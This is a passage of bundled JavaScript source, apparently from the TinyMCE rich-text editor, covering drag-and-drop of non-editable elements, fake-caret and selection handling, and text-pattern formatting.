      const clientHeight = contentAreaContainer.clientHeight;
      const clientWidth = contentAreaContainer.clientWidth;
      const outerMouseY = mouseY + contentAreaContainer.getBoundingClientRect().top;
      const outerMouseX = mouseX + contentAreaContainer.getBoundingClientRect().left;
      state.on(state => {
        state.intervalId.clear();
        if (state.dragging && mouseEventOriginatedFromWithinTheEditor) {
          if (mouseY + mouseRangeToTriggerScrollInsideEditor >= clientHeight) {
            state.intervalId.set(scrollDown(win));
          } else if (mouseY - mouseRangeToTriggerScrollInsideEditor <= 0) {
            state.intervalId.set(scrollUp(win));
          } else if (mouseX + mouseRangeToTriggerScrollInsideEditor >= clientWidth) {
            state.intervalId.set(scrollRight(win));
          } else if (mouseX - mouseRangeToTriggerScrollInsideEditor <= 0) {
            state.intervalId.set(scrollLeft(win));
          } else if (outerMouseY + mouseRangeToTriggerScrollOutsideEditor >= window.innerHeight) {
            state.intervalId.set(scrollDown(window));
          } else if (outerMouseY - mouseRangeToTriggerScrollOutsideEditor <= 0) {
            state.intervalId.set(scrollUp(window));
          } else if (outerMouseX + mouseRangeToTriggerScrollOutsideEditor >= window.innerWidth) {
            state.intervalId.set(scrollRight(window));
          } else if (outerMouseX - mouseRangeToTriggerScrollOutsideEditor <= 0) {
            state.intervalId.set(scrollLeft(window));
          }
        }
      });
    };
    const removeElement = elm => {
      if (elm && elm.parentNode) {
        elm.parentNode.removeChild(elm);
      }
    };
    const isLeftMouseButtonPressed = e => e.button === 0;
    const applyRelPos = (state, position) => ({
      pageX: position.pageX - state.relX,
      pageY: position.pageY + 5
    });
    const start = (state, editor) => e => {
      if (isLeftMouseButtonPressed(e)) {
        const ceElm = find$2(editor.dom.getParents(e.target), isContentEditable).getOr(null);
        if (isNonNullable(ceElm) && isDraggable(editor.getBody(), ceElm)) {
          const elmPos = editor.dom.getPos(ceElm);
          const bodyElm = editor.getBody();
          const docElm = editor.getDoc().documentElement;
          state.set({
            element: ceElm,
            dragging: false,
            screenX: e.screenX,
            screenY: e.screenY,
            maxX: (editor.inline ? bodyElm.scrollWidth : docElm.offsetWidth) - 2,
            maxY: (editor.inline ? bodyElm.scrollHeight : docElm.offsetHeight) - 2,
            relX: e.pageX - elmPos.x,
            relY: e.pageY - elmPos.y,
            width: ceElm.offsetWidth,
            height: ceElm.offsetHeight,
            ghost: createGhost(editor, ceElm, ceElm.offsetWidth, ceElm.offsetHeight),
            intervalId: repeatable(scrollIntervalValue)
          });
        }
      }
    };
    const move = (state, editor) => {
      const throttledPlaceCaretAt = first$1((clientX, clientY) => {
        editor._selectionOverrides.hideFakeCaret();
        closestFakeCaretCandidate(editor.getBody(), clientX, clientY).fold(() => editor.selection.placeCaretAt(clientX, clientY), caretInfo => {
          const range = editor._selectionOverrides.showCaret(1, caretInfo.node, caretInfo.position === FakeCaretPosition.Before, false);
          if (range) {
            editor.selection.setRng(range);
          } else {
            editor.selection.placeCaretAt(clientX, clientY);
          }
        });
      }, 0);
      editor.on('remove', throttledPlaceCaretAt.cancel);
      const state_ = state;
      return e => state.on(state => {
        const movement = Math.max(Math.abs(e.screenX - state.screenX), Math.abs(e.screenY - state.screenY));
        if (!state.dragging && movement > 10) {
          const args = editor.dispatch('dragstart', { target: state.element });
          if (args.isDefaultPrevented()) {
            return;
          }
          state.dragging = true;
          editor.focus();
        }
        if (state.dragging) {
          const mouseEventOriginatedFromWithinTheEditor = e.currentTarget === editor.getDoc().documentElement;
          const targetPos = applyRelPos(state, calc(editor, e));
          appendGhostToBody(state.ghost, editor.getBody());
          moveGhost(state.ghost, targetPos, state.width, state.height, state.maxX, state.maxY, e.clientY, e.clientX, editor.getContentAreaContainer(), editor.getWin(), state_, mouseEventOriginatedFromWithinTheEditor);
          throttledPlaceCaretAt.throttle(e.clientX, e.clientY);
        }
      });
    };
    const getRawTarget = selection => {
      const sel = selection.getSel();
      if (isNonNullable(sel)) {
        const rng = sel.getRangeAt(0);
        const startContainer = rng.startContainer;
        return isText$a(startContainer) ? startContainer.parentNode : startContainer;
      } else {
        return null;
      }
    };
    const drop = (state, editor) => e => {
      state.on(state => {
        state.intervalId.clear();
        if (state.dragging) {
          if (isValidDropTarget(editor, getRawTarget(editor.selection), state.element)) {
            const targetClone = cloneElement(state.element);
            const args = editor.dispatch('drop', {
              clientX: e.clientX,
              clientY: e.clientY
            });
            if (!args.isDefaultPrevented()) {
              editor.undoManager.transact(() => {
                removeElement(state.element);
                editor.insertContent(editor.dom.getOuterHTML(targetClone));
                editor._selectionOverrides.hideFakeCaret();
              });
            }
          }
          editor.dispatch('dragend');
        }
      });
      removeDragState(state);
    };
    const stop = (state, editor) => () => {
      state.on(state => {
        state.intervalId.clear();
        if (state.dragging) {
          editor.dispatch('dragend');
        }
      });
      removeDragState(state);
    };
    const removeDragState = state => {
      state.on(state => {
        state.intervalId.clear();
        removeElement(state.ghost);
      });
      state.clear();
    };
    const bindFakeDragEvents = editor => {
      const state = value$2();
      const pageDom = DOMUtils.DOM;
      const rootDocument = document;
      const dragStartHandler = start(state, editor);
      const dragHandler = move(state, editor);
      const dropHandler = drop(state, editor);
      const dragEndHandler = stop(state, editor);
      editor.on('mousedown', dragStartHandler);
      editor.on('mousemove', dragHandler);
      editor.on('mouseup', dropHandler);
      pageDom.bind(rootDocument, 'mousemove', dragHandler);
      pageDom.bind(rootDocument, 'mouseup', dragEndHandler);
      editor.on('remove', () => {
        pageDom.unbind(rootDocument, 'mousemove', dragHandler);
        pageDom.unbind(rootDocument, 'mouseup', dragEndHandler);
      });
      editor.on('keydown', e => {
        if (e.keyCode === VK.ESC) {
          dragEndHandler();
        }
      });
    };
    const blockUnsupportedFileDrop = editor => {
      const preventFileDrop = e => {
        if (!e.isDefaultPrevented()) {
          const dataTransfer = e.dataTransfer;
          if (dataTransfer && (contains$2(dataTransfer.types, 'Files') || dataTransfer.files.length > 0)) {
            e.preventDefault();
            if (e.type === 'drop') {
              displayError(editor, 'Dropped file type is not supported');
            }
          }
        }
      };
      const preventFileDropIfUIElement = e => {
        if (isUIElement(editor, e.target)) {
          preventFileDrop(e);
        }
      };
      const setup = () => {
        const pageDom = DOMUtils.DOM;
        const dom = editor.dom;
        const doc = document;
        const editorRoot = editor.inline ? editor.getBody() : editor.getDoc();
        const eventNames = [
          'drop',
          'dragover'
        ];
        each$e(eventNames, name => {
          pageDom.bind(doc, name, preventFileDropIfUIElement);
          dom.bind(editorRoot, name, preventFileDrop);
        });
        editor.on('remove', () => {
          each$e(eventNames, name => {
            pageDom.unbind(doc, name, preventFileDropIfUIElement);
            dom.unbind(editorRoot, name, preventFileDrop);
          });
        });
      };
      editor.on('init', () => {
        Delay.setEditorTimeout(editor, setup, 0);
      });
    };
    const init$2 = editor => {
      bindFakeDragEvents(editor);
      if (shouldBlockUnsupportedDrop(editor)) {
        blockUnsupportedFileDrop(editor);
      }
    };

    const setup$4 = editor => {
      const renderFocusCaret = first$1(() => {
        if (!editor.removed && editor.getBody().contains(document.activeElement)) {
          const rng = editor.selection.getRng();
          if (rng.collapsed) {
            const caretRange = renderRangeCaret(editor, rng, false);
            editor.selection.setRng(caretRange);
          }
        }
      }, 0);
      editor.on('focus', () => {
        renderFocusCaret.throttle();
      });
      editor.on('blur', () => {
        renderFocusCaret.cancel();
      });
    };

    const setup$3 = editor => {
      editor.on('init', () => {
        editor.on('focusin', e => {
          const target = e.target;
          if (isMedia$2(target)) {
            const ceRoot = getContentEditableRoot$1(editor.getBody(), target);
            const node = isContentEditableFalse$a(ceRoot) ? ceRoot : target;
            if (editor.selection.getNode() !== node) {
              selectNode(editor, node).each(rng => editor.selection.setRng(rng));
            }
          }
        });
      });
    };

    const isContentEditableFalse = isContentEditableFalse$a;
    const getContentEditableRoot = (editor, node) => getContentEditableRoot$1(editor.getBody(), node);
    const SelectionOverrides = editor => {
      const selection = editor.selection, dom = editor.dom;
      const rootNode = editor.getBody();
      const fakeCaret = FakeCaret(editor, rootNode, dom.isBlock, () => hasFocus(editor));
      const realSelectionId = 'sel-' + dom.uniqueId();
      const elementSelectionAttr = 'data-mce-selected';
      let selectedElement;
      const isFakeSelectionElement = node => isNonNullable(node) && dom.hasClass(node, 'mce-offscreen-selection');
      const isFakeSelectionTargetElement = node => node !== rootNode && (isContentEditableFalse(node) || isMedia$2(node)) && dom.isChildOf(node, rootNode);
      const setRange = range => {
        if (range) {
          selection.setRng(range);
        }
      };
      const showCaret = (direction, node, before, scrollIntoView = true) => {
        const e = editor.dispatch('ShowCaret', {
          target: node,
          direction,
          before
        });
        if (e.isDefaultPrevented()) {
          return null;
        }
        if (scrollIntoView) {
          selection.scrollIntoView(node, direction === -1);
        }
        return fakeCaret.show(before, node);
      };
      const showBlockCaretContainer = blockCaretContainer => {
        if (blockCaretContainer.hasAttribute('data-mce-caret')) {
          showCaretContainerBlock(blockCaretContainer);
          selection.scrollIntoView(blockCaretContainer);
        }
      };
      const registerEvents = () => {
        editor.on('click', e => {
          const contentEditableRoot = getContentEditableRoot(editor, e.target);
          if (contentEditableRoot) {
            if (isContentEditableFalse(contentEditableRoot)) {
              e.preventDefault();
              editor.focus();
            }
          }
        });
        editor.on('blur NewBlock', removeElementSelection);
        editor.on('ResizeWindow FullscreenStateChanged', fakeCaret.reposition);
        editor.on('tap', e => {
          const targetElm = e.target;
          const contentEditableRoot = getContentEditableRoot(editor, targetElm);
          if (isContentEditableFalse(contentEditableRoot)) {
            e.preventDefault();
            selectNode(editor, contentEditableRoot).each(setElementSelection);
          } else if (isFakeSelectionTargetElement(targetElm)) {
            selectNode(editor, targetElm).each(setElementSelection);
          }
        }, true);
        editor.on('mousedown', e => {
          const targetElm = e.target;
          if (targetElm !== rootNode && targetElm.nodeName !== 'HTML' && !dom.isChildOf(targetElm, rootNode)) {
            return;
          }
          if (!isXYInContentArea(editor, e.clientX, e.clientY)) {
            return;
          }
          removeElementSelection();
          hideFakeCaret();
          const closestContentEditable = getContentEditableRoot(editor, targetElm);
          if (isContentEditableFalse(closestContentEditable)) {
            e.preventDefault();
            selectNode(editor, closestContentEditable).each(setElementSelection);
          } else {
            closestFakeCaretCandidate(rootNode, e.clientX, e.clientY).each(caretInfo => {
              e.preventDefault();
              const range = showCaret(1, caretInfo.node, caretInfo.position === FakeCaretPosition.Before, false);
              setRange(range);
              if (isElement$6(closestContentEditable)) {
                closestContentEditable.focus();
              } else {
                editor.getBody().focus();
              }
            });
          }
        });
        editor.on('keypress', e => {
          if (VK.modifierPressed(e)) {
            return;
          }
          if (isContentEditableFalse(selection.getNode())) {
            e.preventDefault();
          }
        });
        editor.on('GetSelectionRange', e => {
          let rng = e.range;
          if (selectedElement) {
            if (!selectedElement.parentNode) {
              selectedElement = null;
              return;
            }
            rng = rng.cloneRange();
            rng.selectNode(selectedElement);
            e.range = rng;
          }
        });
        editor.on('SetSelectionRange', e => {
          e.range = normalizeVoidElementSelection(e.range);
          const rng = setElementSelection(e.range, e.forward);
          if (rng) {
            e.range = rng;
          }
        });
        const isPasteBin = node => isElement$6(node) && node.id === 'mcepastebin';
        editor.on('AfterSetSelectionRange', e => {
          const rng = e.range;
          const parent = rng.startContainer.parentElement;
          if (!isRangeInCaretContainer(rng) && !isPasteBin(parent)) {
            hideFakeCaret();
          }
          if (!isFakeSelectionElement(parent)) {
            removeElementSelection();
          }
        });
        init$2(editor);
        setup$4(editor);
        setup$3(editor);
      };
      const isWithinCaretContainer = node => isCaretContainer$2(node) || startsWithCaretContainer$1(node) || endsWithCaretContainer$1(node);
      const isRangeInCaretContainer = rng => isWithinCaretContainer(rng.startContainer) || isWithinCaretContainer(rng.endContainer);
      const normalizeVoidElementSelection = rng => {
        const voidElements = editor.schema.getVoidElements();
        const newRng = dom.createRng();
        const startContainer = rng.startContainer;
        const startOffset = rng.startOffset;
        const endContainer = rng.endContainer;
        const endOffset = rng.endOffset;
        if (has$2(voidElements, startContainer.nodeName.toLowerCase())) {
          if (startOffset === 0) {
            newRng.setStartBefore(startContainer);
          } else {
            newRng.setStartAfter(startContainer);
          }
        } else {
          newRng.setStart(startContainer, startOffset);
        }
        if (has$2(voidElements, endContainer.nodeName.toLowerCase())) {
          if (endOffset === 0) {
            newRng.setEndBefore(endContainer);
          } else {
            newRng.setEndAfter(endContainer);
          }
        } else {
          newRng.setEnd(endContainer, endOffset);
        }
        return newRng;
      };
      const setupOffscreenSelection = (node, targetClone) => {
        const body = SugarElement.fromDom(editor.getBody());
        const doc = editor.getDoc();
        const realSelectionContainer = descendant(body, '#' + realSelectionId).getOrThunk(() => {
          const newContainer = SugarElement.fromHtml('<div data-mce-bogus="all" class="mce-offscreen-selection"></div>', doc);
          set$2(newContainer, 'id', realSelectionId);
          append$1(body, newContainer);
          return newContainer;
        });
        const newRange = dom.createRng();
        empty(realSelectionContainer);
        append(realSelectionContainer, [
          SugarElement.fromText(nbsp, doc),
          SugarElement.fromDom(targetClone),
          SugarElement.fromText(nbsp, doc)
        ]);
        newRange.setStart(realSelectionContainer.dom.firstChild, 1);
        newRange.setEnd(realSelectionContainer.dom.lastChild, 0);
        setAll(realSelectionContainer, { top: dom.getPos(node, editor.getBody()).y + 'px' });
        focus$1(realSelectionContainer);
        const sel = selection.getSel();
        if (sel) {
          sel.removeAllRanges();
          sel.addRange(newRange);
        }
        return newRange;
      };
      const selectElement = elm => {
        const targetClone = elm.cloneNode(true);
        const e = editor.dispatch('ObjectSelected', {
          target: elm,
          targetClone
        });
        if (e.isDefaultPrevented()) {
          return null;
        }
        const range = setupOffscreenSelection(elm, e.targetClone);
        const nodeElm = SugarElement.fromDom(elm);
        each$e(descendants(SugarElement.fromDom(editor.getBody()), `*[${ elementSelectionAttr }]`), elm => {
          if (!eq(nodeElm, elm)) {
            remove$b(elm, elementSelectionAttr);
          }
        });
        if (!dom.getAttrib(elm, elementSelectionAttr)) {
          elm.setAttribute(elementSelectionAttr, '1');
        }
        selectedElement = elm;
        hideFakeCaret();
        return range;
      };
      const setElementSelection = (range, forward) => {
        if (!range) {
          return null;
        }
        if (range.collapsed) {
          if (!isRangeInCaretContainer(range)) {
            const dir = forward ? 1 : -1;
            const caretPosition = getNormalizedRangeEndPoint(dir, rootNode, range);
            const beforeNode = caretPosition.getNode(!forward);
            if (isNonNullable(beforeNode)) {
              if (isFakeCaretTarget(beforeNode)) {
                return showCaret(dir, beforeNode, forward ? !caretPosition.isAtEnd() : false, false);
              }
              if (isCaretContainerInline(beforeNode) && isContentEditableFalse$a(beforeNode.nextSibling)) {
                const rng = dom.createRng();
                rng.setStart(beforeNode, 0);
                rng.setEnd(beforeNode, 0);
                return rng;
              }
            }
            const afterNode = caretPosition.getNode(forward);
            if (isNonNullable(afterNode)) {
              if (isFakeCaretTarget(afterNode)) {
                return showCaret(dir, afterNode, forward ? false : !caretPosition.isAtEnd(), false);
              }
              if (isCaretContainerInline(afterNode) && isContentEditableFalse$a(afterNode.previousSibling)) {
                const rng = dom.createRng();
                rng.setStart(afterNode, 1);
                rng.setEnd(afterNode, 1);
                return rng;
              }
            }
          }
          return null;
        }
        let startContainer = range.startContainer;
        let startOffset = range.startOffset;
        const endOffset = range.endOffset;
        if (isText$a(startContainer) && startOffset === 0 && isContentEditableFalse(startContainer.parentNode)) {
          startContainer = startContainer.parentNode;
          startOffset = dom.nodeIndex(startContainer);
          startContainer = startContainer.parentNode;
        }
        if (!isElement$6(startContainer)) {
          return null;
        }
        if (endOffset === startOffset + 1 && startContainer === range.endContainer) {
          const node = startContainer.childNodes[startOffset];
          if (isFakeSelectionTargetElement(node)) {
            return selectElement(node);
          }
        }
        return null;
      };
      const removeElementSelection = () => {
        if (selectedElement) {
          selectedElement.removeAttribute(elementSelectionAttr);
        }
        descendant(SugarElement.fromDom(editor.getBody()), '#' + realSelectionId).each(remove$6);
        selectedElement = null;
      };
      const destroy = () => {
        fakeCaret.destroy();
        selectedElement = null;
      };
      const hideFakeCaret = () => {
        fakeCaret.hide();
      };
      if (!isRtc(editor)) {
        registerEvents();
      }
      return {
        showCaret,
        showBlockCaretContainer,
        hideFakeCaret,
        destroy
      };
    };

    const getNormalizedTextOffset = (container, offset) => {
      let normalizedOffset = offset;
      for (let node = container.previousSibling; isText$a(node); node = node.previousSibling) {
        normalizedOffset += node.data.length;
      }
      return normalizedOffset;
    };
    const generatePath = (dom, root, node, offset, normalized) => {
      if (isText$a(node) && (offset < 0 || offset > node.data.length)) {
        return [];
      }
      const p = normalized && isText$a(node) ? [getNormalizedTextOffset(node, offset)] : [offset];
      let current = node;
      while (current !== root && current.parentNode) {
        p.push(dom.nodeIndex(current, normalized));
        current = current.parentNode;
      }
      return current === root ? p.reverse() : [];
    };
    const generatePathRange = (dom, root, startNode, startOffset, endNode, endOffset, normalized = false) => {
      const start = generatePath(dom, root, startNode, startOffset, normalized);
      const end = generatePath(dom, root, endNode, endOffset, normalized);
      return {
        start,
        end
      };
    };
    const resolvePath = (root, path) => {
      const nodePath = path.slice();
      const offset = nodePath.pop();
      if (!isNumber(offset)) {
        return Optional.none();
      } else {
        const resolvedNode = foldl(nodePath, (optNode, index) => optNode.bind(node => Optional.from(node.childNodes[index])), Optional.some(root));
        return resolvedNode.bind(node => {
          if (isText$a(node) && (offset < 0 || offset > node.data.length)) {
            return Optional.none();
          } else {
            return Optional.some({
              node,
              offset
            });
          }
        });
      }
    };
    const resolvePathRange = (root, range) => resolvePath(root, range.start).bind(({
      node: startNode,
      offset: startOffset
    }) => resolvePath(root, range.end).map(({
      node: endNode,
      offset: endOffset
    }) => {
      const rng = document.createRange();
      rng.setStart(startNode, startOffset);
      rng.setEnd(endNode, endOffset);
      return rng;
    }));
    const generatePathRangeFromRange = (dom, root, range, normalized = false) => generatePathRange(dom, root, range.startContainer, range.startOffset, range.endContainer, range.endOffset, normalized);

    const cleanEmptyNodes = (dom, node, isRoot) => {
      if (node && dom.isEmpty(node) && !isRoot(node)) {
        const parent = node.parentNode;
        dom.remove(node);
        cleanEmptyNodes(dom, parent, isRoot);
      }
    };
    const deleteRng = (dom, rng, isRoot, clean = true) => {
      const startParent = rng.startContainer.parentNode;
      const endParent = rng.endContainer.parentNode;
      rng.deleteContents();
      if (clean && !isRoot(rng.startContainer)) {
        if (isText$a(rng.startContainer) && rng.startContainer.data.length === 0) {
          dom.remove(rng.startContainer);
        }
        if (isText$a(rng.endContainer) && rng.endContainer.data.length === 0) {
          dom.remove(rng.endContainer);
        }
        cleanEmptyNodes(dom, startParent, isRoot);
        if (startParent !== endParent) {
          cleanEmptyNodes(dom, endParent, isRoot);
        }
      }
    };
    const getParentBlock = (editor, rng) => Optional.from(editor.dom.getParent(rng.startContainer, editor.dom.isBlock));
    const resolveFromDynamicPatterns = (patternSet, block, beforeText) => {
      const dynamicPatterns = patternSet.dynamicPatternsLookup({
        text: beforeText,
        block
      });
      return {
        ...patternSet,
        blockPatterns: getBlockPatterns(dynamicPatterns).concat(patternSet.blockPatterns),
        inlinePatterns: getInlinePatterns(dynamicPatterns).concat(patternSet.inlinePatterns)
      };
    };
    const getBeforeText = (dom, block, node, offset) => {
      const rng = dom.createRng();
      rng.setStart(block, 0);
      rng.setEnd(node, offset);
      return rng.toString();
    };

    const stripPattern = (dom, block, pattern) => {
      const firstTextNode = textAfter(block, 0, block);
      firstTextNode.each(spot => {
        const node = spot.container;
        scanRight(node, pattern.start.length, block).each(end => {
          const rng = dom.createRng();
          rng.setStart(node, 0);
          rng.setEnd(end.container, end.offset);
          deleteRng(dom, rng, e => e === block);
        });
      });
    };
    const applyPattern$1 = (editor, match) => {
      const dom = editor.dom;
      const pattern = match.pattern;
      const rng = resolvePathRange(dom.getRoot(), match.range).getOrDie('Unable to resolve path range');
      const isBlockFormatName = (name, formatter) => {
        const formatSet = formatter.get(name);
        return isArray$1(formatSet) && head(formatSet).exists(format => has$2(format, 'block'));
      };
      getParentBlock(editor, rng).each(block => {
        if (pattern.type === 'block-format') {
          if (isBlockFormatName(pattern.format, editor.formatter)) {
            editor.undoManager.transact(() => {
              stripPattern(editor.dom, block, pattern);
              editor.formatter.apply(pattern.format);
            });
          }
        } else if (pattern.type === 'block-command') {
          editor.undoManager.transact(() => {
            stripPattern(editor.dom, block, pattern);
            editor.execCommand(pattern.cmd, false, pattern.value);
          });
        }
      });
      return true;
    };
    const sortPatterns$1 = patterns => sort(patterns, (a, b) => b.start.length - a.start.length);
    const findPattern$1 = (patterns, text) => {
      const sortedPatterns = sortPatterns$1(patterns);
      const nuText = text.replace(nbsp, ' ');
      return find$2(sortedPatterns, pattern => text.indexOf(pattern.start) === 0 || nuText.indexOf(pattern.start) === 0);
    };
    const findPatterns$1 = (editor, block, patternSet, normalizedMatches) => {
      var _a;
      const dom = editor.dom;
      const forcedRootBlock = getForcedRootBlock(editor);
      if (!dom.is(block, forcedRootBlock)) {
        return [];
      }
      const blockText = (_a = block.textContent) !== null && _a !== void 0 ? _a : '';
      return findPattern$1(patternSet.blockPatterns, blockText).map(pattern => {
        if (Tools.trim(blockText).length === pattern.start.length) {
          return [];
        }
        return [{
            pattern,
            range: generatePathRange(dom, dom.getRoot(), block, 0, block, 0, normalizedMatches)
          }];
      }).getOr([]);
    };
    const applyMatches$1 = (editor, matches) => {
      if (matches.length === 0) {
        return;
      }
      const bookmark = editor.selection.getBookmark();
      each$e(matches, match => applyPattern$1(editor, match));
      editor.selection.moveToBookmark(bookmark);
    };

    const newMarker = (dom, id) => dom.create('span', {
      'data-mce-type': 'bookmark',
      id
    });
    const rangeFromMarker = (dom, marker) => {
      const rng = dom.createRng();
      rng.setStartAfter(marker.start);
      rng.setEndBefore(marker.end);
      return rng;
    };
    const createMarker = (dom, markerPrefix, pathRange) => {
      const rng = resolvePathRange(dom.getRoot(), pathRange).getOrDie('Unable to resolve path range');
      const startNode = rng.startContainer;
      const endNode = rng.endContainer;
      const textEnd = rng.endOffset === 0 ? endNode : endNode.splitText(rng.endOffset);
      const textStart = rng.startOffset === 0 ? startNode : startNode.splitText(rng.startOffset);
      const startParentNode = textStart.parentNode;
      const endParentNode = textEnd.parentNode;
      return {
        prefix: markerPrefix,
        end: endParentNode.insertBefore(newMarker(dom, markerPrefix + '-end'), textEnd),
        start: startParentNode.insertBefore(newMarker(dom, markerPrefix + '-start'), textStart)
      };
    };
    const removeMarker = (dom, marker, isRoot) => {
      cleanEmptyNodes(dom, dom.get(marker.prefix + '-end'), isRoot);
      cleanEmptyNodes(dom, dom.get(marker.prefix + '-start'), isRoot);
    };

    const isReplacementPattern = pattern => pattern.start.length === 0;
    const matchesPattern = patternContent => (element, offset) => {
      const text = element.data;
      const searchText = text.substring(0, offset);
      const startEndIndex = searchText.lastIndexOf(patternContent.charAt(patternContent.length - 1));
      const startIndex = searchText.lastIndexOf(patternContent);
      if (startIndex !== -1) {
        return startIndex + patternContent.length;
      } else if (startEndIndex !== -1) {
        return startEndIndex + 1;
      } else {
        return -1;
      }
    };
    const findPatternStartFromSpot = (dom, pattern, block, spot) => {
      const startPattern = pattern.start;
      const startSpot = repeatLeft(dom, spot.container, spot.offset, matchesPattern(startPattern), block);
      return startSpot.bind(spot => {
        var _a, _b;
        const startPatternIndex = (_b = (_a = block.textContent) === null || _a === void 0 ? void 0 : _a.indexOf(startPattern)) !== null && _b !== void 0 ? _b : -1;
        const isCompleteMatch = startPatternIndex !== -1 && spot.offset >= startPatternIndex + startPattern.length;
        if (isCompleteMatch) {
          const rng = dom.createRng();
          rng.setStart(spot.container, spot.offset - startPattern.length);
          rng.setEnd(spot.container, spot.offset);
          return Optional.some(rng);
        } else {
          const offset = spot.offset - startPattern.length;
          return scanLeft(spot.container, offset, block).map(nextSpot => {
            const rng = dom.createRng();
            rng.setStart(nextSpot.container, nextSpot.offset);
            rng.setEnd(spot.container, spot.offset);
            return rng;
          }).filter(rng => rng.toString() === startPattern).orThunk(() => findPatternStartFromSpot(dom, pattern, block, point(spot.container, 0)));
        }
      });
    };
    const findPatternStart = (dom, pattern, node, offset, block, requireGap = false) => {
      if (pattern.start.length === 0 && !requireGap) {
        const rng = dom.createRng();
        rng.setStart(node, offset);
        rng.setEnd(node, offset);
        return Optional.some(rng);
      }
      return textBefore(node, offset, block).bind(spot => {
        const start = findPatternStartFromSpot(dom, pattern, block, spot);
        return start.bind(startRange => {
          var _a;
          if (requireGap) {
            if (startRange.endContainer === spot.container && startRange.endOffset === spot.offset) {
              return Optional.none();
            } else if (spot.offset === 0 && ((_a = startRange.endContainer.textContent) === null || _a === void 0 ? void 0 : _a.length) === startRange.endOffset) {
              return Optional.none();
            }
          }
          return Optional.some(startRange);
        });
      });
    };
    const findPattern = (editor, block, details, normalizedMatches) => {
      const dom = editor.dom;
      const root = dom.getRoot();
      const pattern = details.pattern;
      const endNode = details.position.container;
      const endOffset = details.position.offset;
      return scanLeft(endNode, endOffset - details.pattern.end.length, block).bind(spot => {
        const endPathRng = generatePathRange(dom, root, spot.container, spot.offset, endNode, endOffset, normalizedMatches);
        if (isReplacementPattern(pattern)) {
          return Optional.some({
            matches: [{
                pattern,
                startRng: endPathRng,
                endRng: endPathRng
              }],
            position: spot
          });
        } else {
          const resultsOpt = findPatternsRec(editor, details.remainingPatterns, spot.container, spot.offset, block, normalizedMatches);
          const results = resultsOpt.getOr({
            matches: [],
            position: spot
          });
          const pos = results.position;
          const start = findPatternStart(dom, pattern, pos.container, pos.offset, block, resultsOpt.isNone());
          return start.map(startRng => {
            const startPathRng = generatePathRangeFromRange(dom, root, startRng, normalizedMatches);
            return {
              matches: results.matches.concat([{
                  pattern,
                  startRng: startPathRng,
                  endRng: endPathRng
                }]),
              position: point(startRng.startContainer, startRng.startOffset)
            };
          });
        }
      });
    };
    const findPatternsRec = (editor, patterns, node, offset, block, normalizedMatches) => {
      const dom = editor.dom;
      return textBefore(node, offset, dom.getRoot()).bind(endSpot => {
        const text = getBeforeText(dom, block, node, offset);
        for (let i = 0; i < patterns.length; i++) {
          const pattern = patterns[i];
          if (!endsWith(text, pattern.end)) {
            continue;
          }
          const patternsWithoutCurrent = patterns.slice();
          patternsWithoutCurrent.splice(i, 1);
          const result = findPattern(editor, block, {
            pattern,
            remainingPatterns: patternsWithoutCurrent,
            position: endSpot
          }, normalizedMatches);
          if (result.isNone() && offset > 0) {
            return findPatternsRec(editor, patterns, node, offset - 1, block, normalizedMatches);
          }
          if (result.isSome()) {
            return result;
          }
        }
        return Optional.none();
      });
    };
    const applyPattern = (editor, pattern, patternRange) => {
      editor.selection.setRng(patternRange);
      if (pattern.type === 'inline-format') {
        each$e(pattern.format, format => {
          editor.formatter.apply(format);
        });
      } else {
        editor.execCommand(pattern.cmd, false, pattern.value);
      }
    };
    const applyReplacementPattern = (editor, pattern, marker, isRoot) => {
      const markerRange = rangeFromMarker(editor.dom, marker);
      deleteRng(editor.dom, markerRange, isRoot);
      applyPattern(editor, pattern, markerRange);
    };
    const applyPatternWithContent = (editor, pattern, startMarker, endMarker, isRoot) => {
      const dom = editor.dom;
      const markerEndRange = rangeFromMarker(dom, endMarker);
      const markerStartRange = rangeFromMarker(dom, startMarker);
      deleteRng(dom, markerStartRange, isRoot);
      deleteRng(dom, markerEndRange, isRoot);
      const patternMarker = {
        prefix: startMarker.prefix,
        start: startMarker.end,
        end: endMarker.start
      };
      const patternRange = rangeFromMarker(dom, patternMarker);
      applyPattern(editor, pattern, patternRange);
    };
    const addMarkers = (dom, matches) => {
      const markerPrefix = generate$1('mce_textpattern');
      const matchesWithEnds = foldr(matches, (acc, match) => {
        const endMarker = createMarker(dom, markerPrefix + `_end${ acc.length }`, match.endRng);
        return acc.concat([{
            ...match,
            endMarker
          }]);
      }, []);
      return foldr(matchesWithEnds, (acc, match) => {
        const idx = matchesWithEnds.length - acc.length - 1;
        const startMarker = isReplacementPattern(match.pattern) ? match.endMarker : createMarker(dom, markerPrefix + `_start${ idx }`, match.startRng);
        return acc.concat([{
            ...match,
            startMarker
          }]);
      }, []);
    };
    const sortPatterns = patterns => sort(patterns, (a, b) => b.end.length - a.end.length);
    const getBestMatches = (matches, matchesWithSortedPatterns) => {
      const hasSameMatches = forall(matches, match => exists(matchesWithSortedPatterns, sortedMatch => match.pattern.start === sortedMatch.pattern.start && match.pattern.end === sortedMatch.pattern.end));
      if (matches.length === matchesWithSortedPatterns.length) {
        if (hasSameMatches) {
          return matches;
        } else {
          return matchesWithSortedPatterns;
        }
      }
      return matches.length > matchesWithSortedPatterns.length ? matches : matchesWithSortedPatterns;
    };
    const findPatterns = (editor, block, node, offset, patternSet, normalizedMatches) => {
      const matches = findPatternsRec(editor, patternSet.inlinePatterns, node, offset, block, normalizedMatches).fold(() => [], result => result.matches);
      const matchesWithSortedPatterns = findPatternsRec(editor, sortPatterns(patternSet.inlinePatterns), node, offset, block, normalizedMatches).fold(() => [], result => result.matches);
      return getBestMatches(matches, matchesWithSortedPatterns);
    };
    const applyMatches = (editor, matches) => {
      if (matches.length === 0) {
        return;
      }
      const dom = editor.dom;
      const bookmark = editor.selection.getBookmark();
      const matchesWithMarkers = addMarkers(dom, matches);
      each$e(matchesWithMarkers, match => {
        const block = dom.getParent(match.startMarker.start, dom.isBlock);
        const isRoot = node => node === block;
        if (isReplacementPattern(match.pattern)) {
          applyReplacementPattern(editor, match.pattern, match.endMarker, isRoot);
        } else {
          applyPatternWithContent(editor, match.pattern, match.startMarker, match.endMarker, isRoot);
        }
        removeMarker(dom, match.endMarker, isRoot);
        removeMarker(dom, match.startMarker, isRoot);
      });
      editor.selection.moveToBookmark(bookmark);
    };

    const handleEnter = (editor, patternSet) => {
      const rng = editor.selection.getRng();
      return getParentBlock(editor, rng).map(block => {
        var _a;
        const offset = Math.max(0, rng.startOffset);
        const dynamicPatternSet = resolveFromDynamicPatterns(patternSet, block, (_a = block.textContent) !== null && _a !== void 0 ? _a : '');
